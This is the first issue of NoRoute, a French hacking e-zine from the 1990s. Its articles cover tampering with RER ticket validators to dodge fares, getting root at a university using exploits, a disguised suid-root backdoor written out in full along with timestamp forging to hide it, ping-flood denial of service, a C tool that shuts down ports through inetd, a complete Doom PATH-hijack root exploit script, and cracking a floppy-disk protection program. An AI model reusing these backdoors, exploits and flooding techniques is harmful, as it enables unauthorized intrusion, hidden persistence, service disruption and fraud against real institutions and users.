,/$$$$$$$\. #{[REWT!]}# _"$$##[#]##$$"_ &&~$@#######@$~&& || || || N0RoUTE || || I || || || &&~$@#######@$~&& -.$$##[#]##$$.- #{[!FORK]}# `\$$$$$$$/' --------------------==========[ D i S C L A i M E R ]==========----------------- La lecture de cette publication electronique implique la lecture de ce disclaimer. Ce texte est fourni au lecteur a titre purement educatif et informatif. En aucun cas les auteurs n'incitent ce dernier au non-respect de la loi, sous toute forme qu'il soit. Ce texte est destine uniquement aux personnes auxquelles les auteurs l'ont remis, en consequence il peut etre considere comme une communication privee des auteurs avec ces personnes. Toute organisation representant un ordre quelconque ou toute agence de renseignement est consideree comme etrangere aux personnes autorisees a lire ce texte et en consequence aucune poursuite ne pourra etre faite contre les auteurs pour leur publication. En clair, go get fucked. -------------------================[ I N T R O ]===============----------------- J'ai le plaisir de vous presenter NoRoute #1. Ce zine est destine tout particulierement aux techniques evoluees orientees Unix:Rezo:Hack:Phreak:Crack et tout ce qui touche de pres ou de loin au plaisir jouissif de detourner de leur utilite principale les elements de techniques modernes d'aujourd'hui. Ce Zine est produit en collaboration avec PhE, un groupe francais regroupant des amateurs de sensations numeriques a haute influence physiologique.. J'espere donc que ce zine vous apportera plaisir et/ou connaissances et que sa lecture deviendra necessaire a vos yeux.... Le cable arrive. Cela signifie Net gratuit, telecommunication permanente avec le monde pour une somme negligeable, et donc retards et empechements de la part de Farce Telecom, qui apres avoir tente de preserver le minitel au profit du Net, continue son freinage inherant de l'avancee technologique en matiere de telecommunications. France Telecon nous fera surement aimer l'an 2000, mais certainement pas autant que l'an 1998! Sur ce, l'introduction laisse la place au sommaire, bonne lecture! -s0RC3Ry-> -------------------=============[ S O M M A I R E ]============----------------- Auteur Titre Numb Taille /-----------\/----------------------------------------\/------\/--------\ | Octag0n || PlAY With thA RAtP || 4755 || 18 k | | s0RC3Ry || Fak-Hak || 4756 || 12 k | | s0RC3Ry || Un probleme d'Inetd || 4757 || 5 k | | s0RC3Ry || dOOm blaster || 4758 || 5 k | | Pixel4 || Applic sur Ring Fence || 4759 || 22 k | | Cod4 || Hacking Pabxz || 4760 || 19 k | | Cod4 || Hack de VMB || 4761 || 18 k | | Mikasoft Traduction et commentaires d'un texte || || | | Cod4 de Dan Farmer (Satan, Sun) || 4762 || 35 k | | NeurAlien || French Scene ? || 4763 || 10 k | | s0RC3Ry || Notions d'exploits || 4764 || 17 k | | Larsen || Decouverte du spectre hertzien || 4765 || 5 k | | Cod4 || Nfs || 4766 || 5 k | | Kewl || Tcp/Ip || 4767 || 23 k | \-----------/\----------------------------------------/\------/\--------/ ------------------------------------------------------------------------------- NoRoute #1 þ Play With Tha Ratp! þ 4755 þ Octag0n þ NoRoute #1 ------------------------------------------------------------------------------- ooooooooo oo oooooooo oooooooo 00 o 00 00 00 00 00 00 000000000 00000000 ooo 00000000 00 o 00 00 00 00 oooooo 000000000000000000 0000000000 0000000000 o00000oo 0000000 00000 o00 000000000000oo 000 0 o00000 00000000o 00000 o 00000o o0000 o 0000 0000o 0000 0000 0000 000 o000 0000 00000 0000000000 000 00000 00000 00 o00 00000 00000 000 00 00000 0000 00000 0 0000 00000 0000 00000 00000 0000 00000 000000 0000 000000 0000000 0000 000000 0000000 0000 0000000 0000000000 0000 000000000 0000000 0000 00000 0000 0000 0000 0000 +-/\/\/\/\/\/\/\/\/\/\-+ | PlAY With thA RAtP | / ou \ \ Comment faire / / des economies \ \ grace au RER. / | | +-\/\/par oCt4gOn/\/\/-+ Si, comme a nous autres, il vous arrive de prendre le RER et d'etre degoute de l'honetete a force de banquer vos thunes dans les tickets dont le prix ne cesse d'augmenter, alors il est temps pour vous de lire le present texte. Dans cet article, nous allons decrire un moyen de trafiquer facilement les composteurs. Pour la realisation, il va vous falloir: - un fil de nylon assez epais ou un morceau de fil de fer. - le fil de nylon est plus pratique a mon gout. - euh... enfin bon, prenez les deux au cas ou... - des talents de crocheteur. - une bonne memoire (vous avez pas interet a lire ce texte comme un mode d'emploi devant la machine ouverte :) - un composteur RATP de banlieue bien cache dans la nuit. - une lampe de poche pour eclairer le composteur. - de la chance pour pas vous faire susprendre. - ou bien un costume d'agent technique de la RATP si vous devez agir pendant la journee. Vouaala... Maintenant que vous etes prets, lisez la suite. Le composteur de banlieue se presente sous la forme d'une boite posee sur un pied de env. 1m de haut. Quand le technicien homologue vient pour ouvrir la bebete, il tourne la clef qu'il a introduite dans la serrure situee sur le cote droit. Bon, vous n'avez pas la clef, mais en revanche vous avez vos talents de crocheteur et le fil. Inutile de vous prendre la tete avec des idees de bourrins et de penser qu'il serait plus rapide de forcer la serrure. Faites preuve de subtilite et veillez a ne pas laisser de traces d'effraction (auquel cas la RATP pourrait avoir la mauvaise idee de remplacer les composteurs pas des truks encore moins exploitables...). Bon en fait, une fois que la clef est tournee, le technicien fait basculer le capot du composteur vers l'avant (les charnieres sont situees sur l'arete avant du capot). Quand il a termine son intervention, il referme simplement le capot en le rebasculant dans sa position initiale. En fait le capot est retenu par 2 penes a ressorts qui sont ecartes quand on tourne la clef. Le composteur vu de cote: Le schema ci-contre vous illustre les ______________ explications. Maintenant vous voyez bien / | ou sont situes les deux penes (de chaque / \ cote du composteur. Le truk du crocheteur / \ consiste a repousser le pene vers l'avant | \ du composteur avec le fil. Pour cela, il | | faut introduire une partie du fil par la | | fente, tout en le tenant par les deux bouts =] ......|.. et de le tendre et de tirer dessus afin de | : | : repousser le pene comme prevu. Lorsque le |____________:_____| : pene est suffisemment repousse, le capot | : (0)| : se leve un peu de lui meme (il doit aussi | :.....|.: etre monte sur de legers ressorts). Vous : savez alors que votre crochetage est : reussi. : ...............:............. : | : : OOo | : : OOOOo | <---- capot : pene --> OOOOOOo | : : OOOOOOOOo | : : OOOO | ___| : : OOOO |____ <---- fente : OOOO | : : OOOOo | : : O' 'Oo | <---- base : serrure -> O, ,OO | : : 'OOOO' | : : | : :...........................: Une fois le capot bascule, vous avez l'electronique sous les yeux. ATTENTION! Si vous devez refermer le capot en panique, evitez deja de laisser le fil, quand c'est ouvert, vous n'en avez plus besoin, rangez-le. RE-ATTENTION! Quand vous rebasculez le capot, il y a un morceau de metal qui bascule et gene la fermeture, il suffit de le rebasculer a la main pour refermer completement le capot. Sur le cote ou se trouve la serrure, il y a un ecran LCD et un pave numerique implantes sur la plaque. C'est ici que les choses interessantes commencent. C'est la que le technicien entre les parametres du composteur. +-------------+ Si le composteur est en service et que tout va bien, l'ecran | EN SERVICE | affiche "EN SERVICE". Les touches # et * servent respective- +-------------+ ment a valider et annuler. Apres une premiere pression sur #, ( ) (1) (2) (3) la machine vous invite a entrer le mois, le jour, l'heure, (A) (4) (5) (6) les minutes et l'annee. Les parametres suivants sont ceux de (S) (7) (8) (9) la zone, de l'indicatif ligne, de numero de section et de (C) (*) (0) (#) sous-reseau ("SS-RESEAU"). Le seul moyen interessant de profiter de tous ca est de jouer avec les parametres de date et heure, a moins d'avoir un oncle technicien chez RATP et de savoir ce que signifient les autres parametres (sous-reseau?!)... Imaginez que vous devez prendre le RER regulierement entre deux stations de banlieue. Vous achetez un ticket. Vous le compostez dans un composteur dans lequel vous avez change la date pour une autre dans le futur (le mieux est de prevoir large...au cas ou). Tant que vous ne vous faites pas controler, tout va bien, remarquez que c'est la meme chose quand vous n'avez pas de ticket, sauf que quand le vilain controleur vient vous demander votre "titre de transport", vous n'avez pas ce desagreable mal de porte-feuille :). Le controleur ne pourra pas savoir quand est-ce que le ticket a ete composte et vous vous contenterez de lui dire que vous l'avez composte juste avant et que vous ne comprenez pas non plus de quoi il s'agit, que c'est louche et scandaleux, et que... et aussi...et de comment ca piece d'identite...? :))) ------------------------------------------------------------------------------- NoRoute #1 þ Fak Hak þ 4756 þ s0RC3Ry þ NoRoute #1 ------------------------------------------------------------------------------- ( -:$[ FAK HAK ]$:- ) +> Ou comment hacker sa fac en xxxx lecons <+ ( Mais pas beaucoup en tout cas ) Cet article s'adresse aux debutants sous unix qui ont pas envie de se prendre la tete a maitriser et qui ont besoin d'avoir acces au compte de leurs profs par exemple (mais pour quoi faire au juste ?)... Materiel necessaire.... NoRoute #1.. Un account sur une becanne unix de la fac.. Une legere connaissance de unix.. Une conscience.. Sous unix le seul account interessant est l'acces root. Nous sommes bien d'accord, root est le compte qui vous permet de tout faire sur un systeme. Son user_id est 0 est son group_id est le meme.. Commencez tout d'abord par reconnaitre le systeme utilise par la machine, chaque systeme a ses holes et ses problemes... Pour cela, faites appel a "uname -a" qui vous donnera une reponse franche : SunOS 4.1.4 par exemple.. Vous avez desormais acces a un systeme bourre de bugs potentiellement exploitables... La grande mode en matiere de hack, et la grande technique utilisee par tous de nos jours car elle est simple et efficace et ne demande pas une grande connaissance du systeme est l'exploit. L'exploit est un petit programme ou une serie de commande trouvee par un ingenieux bonhomme qui permet souvent de chopper l'acces root sur un systeme. Obtenir des exploits n'est pas tres complique... Un petit ftpsearch sur exploit vous donnera au moins un ftp bourre d'exploits pour differents systemes que vous n'aurez plus qu'a utiliser pour chopper le root.. Un exploit celebre est celui de la commande umount sous BSD. Si cette commande possede le bit suid c'est a dire si "ls -l /bin/umount" vous donne un truk comme: -rwsr-xr-x (presence du 's' vous l'avez vu ?) et que la version de umount est assez ancienne, alors vous pouvez chopper un root sur le systeme. Vous choppez l'exploit sur votre chti ftp, que nous appelerons ici mount.c Vous le compilez donc: host:~> cc mount.c -o exploit host:~> exploit Discovered and Coded by Bloodmask and Vio, Covin 1996 bash# whoami root bash# Et vous etes root. La simplicite de la chose explique pourquoi de nos jours il y a tellement de jeunes abrutis qui annoncent fierement leurs root dans #hack... =) Cet exploit utilise en fait une architecture de code propre aux mauvais programmes qui permet de modifier l'adresse de retour d'un call. En effet, le programme umount devient root pendant son execution grace au bit suid. En l'executant et en forcant le retour d'un call vers une routine qui execute un shell, on obtient ainsi un shell root...(voir exploits... =) C'est un exemple parmi tant d'autres.. Disons franchement qu'en cherchant bien sur le net et en essayant betement tous les exploits propres a un systeme, meme si vous etes une grosse brelle en matiere d'unix, vous arriverez a chopper le root dans votre fac huh... Bien entendu les administrateurs systemes des facs sont au courant de ces exploits et fixent en permanence leur systeme contre ceux-ci (du moins dans ma fac, ou j'ai eu un mal fou a chopper le root arf).. Une fois que vous etes root, vous ne pouvez bien entendu pas vous permettre d' utiliser l'exploit en question a chaque fois que vous desirez passer root sur le syteme, pour la simple raison que ce hole ne restera pas longtemps en place... Il vous faut donc planquer quelquepart un chti programme qui vous donnera l'acces root tout le temps mais qui ne sera pas decouvert par le root lui-meme.. Le mieux est d'avoir acces aux sources d'un programme suid peu souvent change par la fac que vous pourrez modifier pour vous donner un shell lorsqu'il est appele avec certains arguments... Par exemple, integrer a login.c un test if (!strcmp(username,"sorcery")) return (0); qui vous permettra de vous logger en root depuis n'importe ou... Sans laisser de traces sur le syteme. L'exemple ci-dessus ne tient absolument pas compte du code original de login.c le but est seulement de vous faire piger le principe... =) Un autre moyen, utilisable dans les systemes peu surveilles, mais assez discret quand meme, est de vous creer votre programme a vous, suid, qui vous donnera le root... Bien entendu il faut securiser ce programme en le deguisant en programme normal. Donnez lui un nom qui fasse "vrai" et qui justifie le bit suid par exemple "xfixconsole" qui d'apres son nom necessite un acces a la console et donc un root.. Placez le dans un repertoire peu frequente tel que /usr/X11R5/bin/ par exemple. Voici un exemple de code: ----8<-----8<-------8<--------8<-------cut here-------8<------8<------- /* Xfixconsole by Sorcery Sacre joli nom huh... Ne donne le shell que si il est appele ansi: host:~> xfixconsole fixing */ void main(int argc, char *argv[]) { if ( (argv[1]) && (!strcmp(argv[0],"xfixconsole"))\ && (!strcmp(argv[1],"fixing")) ) { setuid(0); setgid(0); system("/bin/bash"); } else { printf("\nFixed 0xA000\n"); } } ----8<-----8<--------8<--------8<----------cut here---------8<-------- Ensuite, compilez le programme et placez le dans le repertoire voulu... bash# cc xfixconsole.c -o xfixconsole Avant de le deplacer, nous allons noter la date de derniere modif du rep /usr/X11R5/bin... ("ls -l /usr/X11R5"). Disons que nous trouvons Jan 1 1994. bash# mv xfixconsole /usr/X11R5/bin/ Il faut maintenant lui donner les permissions voulues (+s) pour qu'il puisse changer son uid et son gid a 0... bash# chmod +s /usr/X11R5/bin/xfixconsole bash# ls -al !$ ls -al /usr/X11R5/bin/xfixconsole -rwsr-xr-x 1 root wheel 38613 Jan 1 1997 .../bin/xfixconsole* bash# voila qui est mieux. Maintenant il faut cacher ce fichier: il y a trois choses a modifier pour que le fichier passe discretement: -la date du fichier -son proprietaire -la date du '.' (eh oui, la date du rep a change aussi) Pour cela, nous mettons le fichier a la meme date que les fichiers qui lui sont proches: (cela passe bien lorsqu'une serie de cinq fichiers sont cotes a cotes et ont la meme date...) bash# ls -l /usr/X11R5/bin/xf* -r-xr-xr-x 1 root bin 385636 Jul 28 1995 /usr/X11R5/bin/xfig* -rwxr-xr-x 1 root bin 148600 Jun 24 1995 /usr/X11R5/bin/xfile.. ..manager* -rwsr-xr-x 1 root wheel 38613 Jan 1 1997 /usr/X11R5/bin/xfix.. ..console* -rwxr-xr-x 1 root bin 117344 Jun 18 1995 /usr/X11R5/bin/xfm* -rwxr-xr-x 1 root bin 770 Jun 18 1995 /usr/X11R5/bin/xfm.ins.. ..tall* -rwxr-xr-x 1 root bin 14184 Jun 18 1995 /usr/X11R5/bin/xfmtype* bash# bash# touch -t 180614591995 /usr/X11R5/bin/xfixconsole bash# touch -t 010114591994 /usr/X11R5/bin bash# chgrp bin /usr/X11R5/bin/xfixconsole bash# ls -l /usr/X11R5/bin/xfixconsole -rws--x--x 1 root bin 38613 Jun 18 1995 /usr/X11R5/bin/xfix.. ..console* Vous avez desormais un chti root sympa sur le systeme, qui vous permettra de bien vous marrer. A verifier cependant avant d'installer un tel prog: les crontabs. Dans /usr/spool/cron/crontabs/root, vous trouverez une liste d'instructions executees automatiquement par le systeme pour le root. Verifiez bien qu'aucun script n'est lance qui detecterait par exemple les nouveaux suid installes sur le systeme (utilisant generalement la commande find) ou autre chose qui vous grillerait... Choppez maintenant le fichier shadow, ou son equivalent selon les systemes.. (passwd.orig, passwd.secure, /auth/*/*...).. et crackez vous deux ou trois accounts a l'aide d'un cracker trouve sur le net (guess, par exemple, ou crack etc..). Cela vous permettra de ne plus vous logger avec votre compte pour bidouiller le systeme, ce qui peut etre assez pratique parfois... Passons maintenant a une aventure qui m'est arrivee dans ma fac et qui pourrait bien vous arriver si votre fac utilise plusieurs parcs de systemes differents... J'avais le root sur le parc HPUX, et besoin du root sur les SunOS de ma fac. Mon home etait le meme sur les deux, car le meme disk etait partage par NFS entre les becannes. Le disque etait en local sur HPUX et en NFS sur les SUNS. Le but etait donc d'exploiter le root de HPUX pour ne pas avoir a essayer des dizaines d'exploits sur la sun dont le sunos etait plutot bien protege... Voici donc la methode utilisee: sun:~> indique que les commandes sont tapees sur la sun. hp:~> indique que ma mere m'appelle pour diner ahum. sun:~> cc xfixconsole.c -o root j'avais donc dans mon home, le fichier xfixconsole.c compile pour sunos, bien entendu non executable sur la hp... hp:~> cd /usr/X11R5/bin Car '/usr/X11R5/bin/xfixconsole fixing' ne marchera pas.. =) hp:/usr/X11R5/bin/> xfixconsole fixing bash_hp# cd bash_hp# chown root.wheel ./root bash_hp# chmod 755 ./root bash_hp# ls -al ./root -rwsr-sr-x (.../...) root bash_hp# sun:~> ./root bash_sun# whoami root bash_sun# En utilisant mon home comme passerelle, j'ai donc reussi a executer sur la sun un suid via nfs... Il faut savoir que cela ne marchera que si: 1) Le root obtenu est sur la machine ou le home est local: via nfs, le root n'a pas le droit de modifier des fichiers qui ne lui appartiennent pas, et en particulier les rendre suid arf.. (sauf en "insecure"...) 2) Le filesystem est mounte via NFS sans le flag "nosuid" : pour verifier, faites un df ., qui vous donnera les flags separes par des virgules en plus de la place disk... (rw,nosuid...) La meme manip est donc utilisee sur la sun... Pour utiliser touch sous sunos, il faut passer par /usr/5bin qui contient les binaires repondant aux normes SVR4 (system 5 release 4), car le /usr/bin de sunos contient un touch qui ne permet pas de specifier une nouvelle date... A la fin donc, si j'ai bien tout calcule, on se retrouve avec un controle total de la fac qui peut etre assez plaisant =)... [MAiS QUE FAiRE AVEC CE r00t ?] Bonne question... Plusieurs activites sont marrantes a faire avec un root. Il y a tout d'abord le flood, qui, si vous avez le root sur un reseau a grande bande passante, vous permet de faire couler pas mal de connections 14.4 sur le net... Pour cela, plusieurs utilitaires existent sous linux par exemple, a peu pres tous bases sur le syn flood qui a tendance a plus trop marcher. Le ping est encore assez efficace: ping -f host en particulier si vous avez la bonne version de ping....est assez mechant quand il est utilise avec des '&' par exemple while (1) while> ping -f host & while> end est assez marrant.... pour arreter le massacre, killer le while puis faire un killall ping... ICMP rulez! =) On peut egalement sniffer avec un root...si le systeme est un noeud important pour d'autres becannes, ou si il est beaucoup frequente, il est possible de chopper, en ecoutant les connections reseaux, plusieurs acces un peu partout et pourquoi pas d'autres rewts.. =) Enfin, le but du rewt est surtout de l'avoir, ensuite imaginez vous tout simplement aux commandes d'un systeme en 64Mbits sur le net et vos idees viendront vite... =) -SorcerY Grmbl.. Placons ici quelques greetings =) Le truk chiant dont personne a rien a foutre sauf Octagon [C+++++] Mayweed [fz rulez =] CoD4 [on a FINI! =)] Kewl, Shybe, Larsen, Mikasoft... Tout PHE et MJ13... Vous tous dans #banane =) Ceux que j'aurais oublie.... ? ------------------------------------------------------------------------------- NoRoute #1 þ Un probleme d'inetd þ 4757 þ s0RC3Ry þ NoRoute #1 ------------------------------------------------------------------------------- -:$[Un probleme d'inetd...le looping]$:- SorcerY Sur une machine de type unix, il est possible de se connecter sur plusieurs ports. Par exemple, le port 23 est celui du telnet, le 21 du ftp, le 110 est reserve a pop-mail, le 25 est le mail.. pour gerer tous ces ports, il faut des programmes, et pour eviter que 60 programmes tournent en meme temps sur la machine pour ecouter les ports, on passe par un daemon, inetd, qui gere lui meme les connections: il ecoute les requetes de connection sur les ports et lance les programmes en fonction du besoin. Par exemple lors d'une connection sur le port 23, il execute /usr/sbin/in.telnetd, daemon qui va gerer la connection telnet.. [ok, il y a des exceptions... ] Il y a quelques annees encore, une grande technique de flood existait et amusait pas mal de monde: l'echo flood. Le port 7 des machines unix est en effet un port special, qui sert d'echo: tout packet envoye sur ce port est renvoye a l'expediteur... Le but de la manoeuvre etait d'envoyer quelques packets sur le port 7 de la machine a flooder en se faisant passer pour cette machine.. Le ping pong qui en resultait amenait generalement la machine a ralentir terriblement et parfois a planter... Pour controller ce genre d'evenements, les daemons d'echo refusent desormais generalement les packets venant de localhost, et inetd dispose d'un controle de ce loopbacking: quand un port est sollicite avec une trop grande frequence, inetd coupe tout simplement ce port... Ensuite, par defaut sous beaucoup de systemes, il faut attendre environ 20 minute pour que le port se rouvre ou bien le relancer a la main (kill -HUP inetd). Cette attaque ne sera sans doute pas efficace contre un gros serveur dont l'inetd sera beaucoup moins sensible au looping (prenons l'exemple d'un www qui est prevu pour recevoir environ 100 connections par minutes...).. De plus, il est bon de savoir qu'un /var/adm/messages d'un serveur ayant subit cette attaque sera rempli de +/-500 lignes contenant votre adresse IP. A faire donc uniquement lors de connections PPP.... =) ------8<----------8<----------Cut herE-------8<-----------8<---------------8<- /* pkill.c * p0rt| cc pkill.c -o pkill * * * Credits: * Alan Cox (gestion des sockets) */ #include #include #include #include #include #include #include #include int Make_Connection(int port,const char *buf); int Connect_To(int port,const char *buf) { if (Make_Connection(port,buf)==-1) { printf ("%s's port number %i is now unreachable! \n",buf,port); return(0); } return(1); } main(int argc,char *argv[]) { if (argv[1]&&argv[2]) { printf ("\nNow closing port %i on %s\n",atoi(argv[1]),argv[2]); while(Connect_To(atoi(argv[1]),argv[2])); printf("\n\nThanx to this lame kode, yeepee! =)\n"); } else { printf("\n\nUsage: %s [port] [host]\n",argv[0]); } } int Make_Connection(int port,const char *buf) { struct sockaddr_in myaddress; struct hostent *host; int v; host=gethostbyname(buf); if(host==NULL) { return(-1); } myaddress.sin_family=host->h_addrtype; myaddress.sin_addr.s_addr=*((long *)host->h_addr); myaddress.sin_port=htons(port); v=socket(AF_INET,SOCK_STREAM,0); /* Ouverture du socket apres initialisation des donnees pour la connection */ if(v==-1) { return(-1); } if(connect(v,(struct sockaddr *)&myaddress,sizeof(myaddress))<0) /* Connection a la machine */ { close(v); return(-1); } return(v); } ----------------------------------8<-------------8<---------------------------- ------------------------------------------------------------------------------- NoRoute #1 þ Doom est un jeu formidable.. þ 4758 þ s0RC3Ry þ NoRoute #1 ------------------------------------------------------------------------------- DooMRewT ou pourquoi DOOM EST UN JEU FORMIDABLE Schblam! les monstres s'explosent sur le mur dans une giclee de sang.... =) Doom est un jeu terrible. Il est terrible car il est tres repandu sur le net pour un jeu tel que celui la : je l'ai trouve sur des IRIX (sgi) des SunOS (sun huh) des Linux bien sur... Ce jeu est d'autant plus formidable qu'il est livre avec linux par defaut et souvent installe par les admins =) L'autre formidabilite de ce jeu est qu'il a ete porte sous linux par des burnes totales en matiere de securite... Voili l'explication d'un exploit que j'ai decouvert recemment alors que j'executais des fichiers au pif sur ma box (vi, vous savez quand on s'emmerde on balaie le clavier de cd, ls, et on execute ce qui nous passe sous les yeux c'est un tic assez universel chez les unixiens). Explications [ Mais qu'est-ce qu'il raconte ? ] Doom utilise svgalib. Donc doom ne supporte pas gpm. Or gpm est installe par defaut sur toutes les stations linux utilisant la slackware. Donc doom doit killer gpm avant de se lancer et le remettre apres. Or gpm est un programme appartenant au root, donc doom doit etre suid pour killer gpm. Jusqu'ici tout allait bien, sauf que chez ID software, ils se sont dit "on va pas se souler a rajouter des lignes de code, on va faire deux programmes a part". Premiere petite erreur. Encore pire, ils avaient fume je pense, ces pauvres bougres se sont amuses a executer un script depuis un executable suid, mais alors un script digne de microsoft! Un code de merde, qui bien entendu a engage de ma part une contraction abdominale terrible suivie de hoquets bruyants devant mon ecran... Principe exact: Deux programmes: killmouse et startmouse. Ces deux programmes sont suid. Ils executent respectivement "as root" killmouse.sh et startmouse.sh, deux scripts shell... Lorsque killmouse.sh kill la mouse il installe dans /tmp un fichier nomme gpmkilled et qui permettra a startmouse de savoir que la mouse a bien ete killee =) Quel bordel huh =). Voici le source de startmouse.sh: if [ -r /tmp/gpmkilled ]; then /usr/bin/grep gpm /etc/rc.d/rc.local > /tmp/gpmscript /bin/sh /tmp/gpmscript /bin/rm /tmp/gpmscript /tmp/gpmkilled fi explication: si le fichier /tmp/gpmkilled existe, alors on cherche la string qui execute gpm dans rc.local pour etre sur de pas se planter et on la copie dans un fichier /tmp/gpmscript. On execute ensuite ce fichier puis on retire les deux fichiers temporaires. Mais voila l'erreur... =) Ce programme, execute en tant que root, contient la chaine suivante: gpm -t ms & Ehehe, aucun chemin n'est specifie pour gpm. Or, dans ce cas, le systeme cherche au fil du $path le programme en question. Donc pour chopper un root, il suffit d'executer les commandes suivantes: becanne:~> touch /tmp/gpmkilled becanne:~> cp /bin/bash /tmp/suid_shell becanne:~> cat << END >> ~/gpm /bin/chown root.root /tmp/suid_shell /bin/chmod 04755 /tmp/suid_shell END becanne:~> chmod 755 ~/gpm becanne:~> set path = ~/ becanne:~> /usr/games/doom/startmouse gpm: already a gpm running, no process killed becanne:~> /tmp/suid_shell bash# En settant le path vers notre home et en creeant un ~/gpm, il sera execute comme root et vous pouvez donc y mettre ce que vous voulez.. Heureux ? =) voici donc le script qui va avec (qui fait ca tout seul huh) pour les faignants =)... Ps avant de partir (vi deja 3 articles ca fait beaucoup =) N'abusez pas de ce truk c'est illegal et c'est juste pour rire que je vous l'ai montre d'accord ? Si vous desirez en abuser chez moi demandez moi la permission a beigebox@mygale.org ........................Sorcery is powered by Linux. #!/bin/csh # Doom exploit by Sorcery / mj13 # Use it only on your system! # doomroot.sh (mode 755 =) # # File to remove if it fails: ~/gpm,/tmp/gpmkilled,/tmp/gpmscript,/tmp/.X11-Unix # Guy to great if it worx: beigebox@mygale.org (yeah, that's me ! :) ) # # FIX: rm -rf /usr/games/doom =) # cp /bin/bash /tmp/.X11-Unix touch /tmp/gpmkilled cat << EOF >> ~/gpm /bin/chown root.root /tmp/.X11-Unix /bin/chmod 4755 /tmp/.X11-Unix /bin/rm ~/gpm EOF chmod 755 ~/gpm set oldpath = ( $path ) set path = ~/ /usr/games/doom/startmouse >& /dev/null echo "\n This should happen now! =)" echo "/tmp/.X11-Unix is perhaps your paradise, guy!" echo " Found and Exploited by Sorcery\n" /usr/bin/sleep 2 # let's wait for gpm to finish his work... set path = ( $oldpath ) /tmp/.X11-Unix # End of doom exploit -Sorcery pour NoRoute #1- ------------------------------------------------------------------------------- NoRoute #1 þ Applic sur RingFence þ 4759 þ Pixel4 þ NoRoute #1 ------------------------------------------------------------------------------- °±²ÛÛ²±° Comment degager les °±²ÛÛ²±° °±²ÛÛ²±° residents empecheur de °±²ÛÛ²±° °±²ÛÛ²±° Hacker en rond... °±²ÛÛ²±° °±²ÛÛ²±° °±²ÛÛ²±° °±²ÛÛ²±° Applic sur RingFence °±²ÛÛ²±° Texte et code par PiXel4 (20/02/97) Le hacking nous propose des themes tres varies... mais ds beaucoups de cas cela necessite 1 acces sur 1 becane relie sur rezo local. ( cas d'une universite !) Mais avant de travailler correctement, y fo installer kelque softs bien puissants :) Et c'est toujours po evidant, vu que certain sysop de bahu ou d'univ mettent des protections logicielles sur leurs becannes pour eviter le transfer par disquettes ! Bah, tu me dira, on n'a ka faire sauter le prg... po aussi simple ;) Tout d'abord, fo bien savoir de koa on parle... ----------------------------------------------- Le logiciel cibler ici est destine a ne laisser "passer" que les disquettes autorisees a etre utilises sur LE pc, elle sont dites "certifies". Si une autre disquette venait a etre introduite, le petit prg resident declanche aussi tot 1 message du genre *Disk etranger !!!* en emettant 1 bruit desagreable et strident, qui ne manquera po d'attirer l'attention de tout le monde et surtout ds op ! BIIIIP BIIIP BIIIP Hehe, cale :( Cela peut devenir genant puisque l'on peut meme plus stoker des utils, des prg, des jeux sur les ordis... Fo remedier a tout ca ! Analyse methodique : -------------------- Le logiciel que je vais decrire s'appelle Ring Fence, mais il en existe plein d'autres comme celui ci et ils marchent generalement tous de la meme facon, alors l'adaptation n'est po tres complique ! A vous de la faire en fonction de ce que vous avez. Mais pour vous aider, un fichier Zip a ete inclus avec l'article, pour vous permettre de vous faire la main, et de mieux comprendre sont fonctionnement :) Ring Fence (RF) est un petit residant en .COM, et il se charge en memoire, appele par l'autoexec.bat, et se trouve ds la racine du hdd en fichier cache. Certains ont bien essaye de l'effacer pour supprimer le probleme, mais c'est la qu'est le probleme !!! RF est se compose de 2 parties ! L'une visible, le fichier com, et l'autre sur les secteurs d'amorce du dur. Donc si vous enlever RF.com ,1 partie de rf se charge quand meme, et resultat: quand vous arrivez sous le dos, ben on ne peux rien faire (HDD en Read Only) Po moyen d'ecrire sur le dur ! et bien sur il reconnait po les autres lecteurs que le c: Recapitulons: - la partie cache de RF bride le hdd (read only) - le fichier fr.com debride le hdd ( hdd ok) mais en plus ajoute 1 vecteur qui controle si on place bien 1 disk certifie ds le lecteur A: ou B: (Int 13h) Actions : --------- Il existe plein de methode pour contourner ce petit pb... Je ne vais en developper qu'une... celle qui pour moa est la plus propre, car apres votre passage, un autre utilisateur trouvera le hdd, et la memoire intacte comme si le crack n'avait jamais eu lieu ( cas ds 1 univ.) C'est donc une intervention en memoire et non 1 modif sur 1 fichier. On pourrait aussi penser a 1 modif du fichier, en contournant le code implique ds la verif du disk, (ce qui necessite de localiser le test CRC du logiciel, car en principe ce genre de soft en on 1, pour eviter l'infection par ds virus ou la modif par 1 petit malin ... mais ca c'est po 1 pb le CRC ! ) Ou alors, carrement degager l'integralite de RF sur le hdd Mais alors la, c'est voyant et tout le monde peux faire ce qu'il veux avec les lecteurs, et vous n'aurez plus d'acces privilegi‚ :( Ou tout simplement si vous ne savez po programmer, charger rf.com en memoire et formater des diskquettes, qui seront donc certifier. (tout ca chez vous, pour mettre les prg dont vous avez besion... ) Mais c'est certainement la solution la plus chiante... car elle necssite plein d'op de formatage a chaque fois de l'on veux modifier qque chose !!! (Ne marche po forcement avec un autres soft comme RF...) Et j'en oubli encore, parceque yen a plein ! La technique que nous allons utiliser necessite quelques conaisances en ASM et c'est la plus simple d'emploi, car on peut ensuite passer toutes les disquettes "normales". Alons bon, RF n'est po long, nous allons donc le dessember en integralite ! Pour ce genre 2 petit prg residant, c'est la sol qui s'impose... Vous trouverez join a ce fichier TxT le prg RF.COM et son code desass, ds le Zip. Les essais avec RF.com se font sans pb ! Il ne va po toucher o disk ! Il se charge juste en mem et controles les disks, comme ca vous pourrez voir si le crack marche ! Je ne detaille que les parties interessantes du code, vous avez le fichier RF.asm ds son integralite (source de desassemblage) ! START !!! (commence a 100, c'est 1 com... bien sur...) 0100 E9 0C1A jmp real_start ; (0D1D) # Bahhh, ca commence bien... ! on nous balance deja a la fin du prg... # allons bon... vers le 0D1D # 0D1D 0E push cs # 0D1E 1F pop ds # initialisation du seg de donnees # ici on place les textes ( les messages d'err et l'ecran de presentation...) 0D1F B4 0D mov ah,0Dh 0D21 CD 21 int 21h ; DOS Services ah=function 0Dh # 0D23 B4 09 mov ah,9 # 0D25 úBA 0874 mov dx,offset data_64 ; (815C:0874=20h) # 0D28 CD 21 int 21h ; DOS Services ah=function 09h # Affiche l'ecran de presentation RF # 0D2A B4 62 mov ah,62h # 0D2C CD 21 int 21h ; DOS Services ah=function 62h # la c'est.... ... get Program Segment Prefix bx # # argggg... et puis merde, si je commence a tout detailler comme ca, je vais # po m'en sortir ! alors je vais a l'essentiel ! 0D2E 8E C3 mov es,bx 0D30 26: 8B 1E 002C mov bx,es:data_1e ; (0000:002C=0EF6Fh) 0D35 8E C3 mov es,bx 0D37 33 DB xor bx,bx ; Zero register # gna gna gna... tout ca on s'en fou... 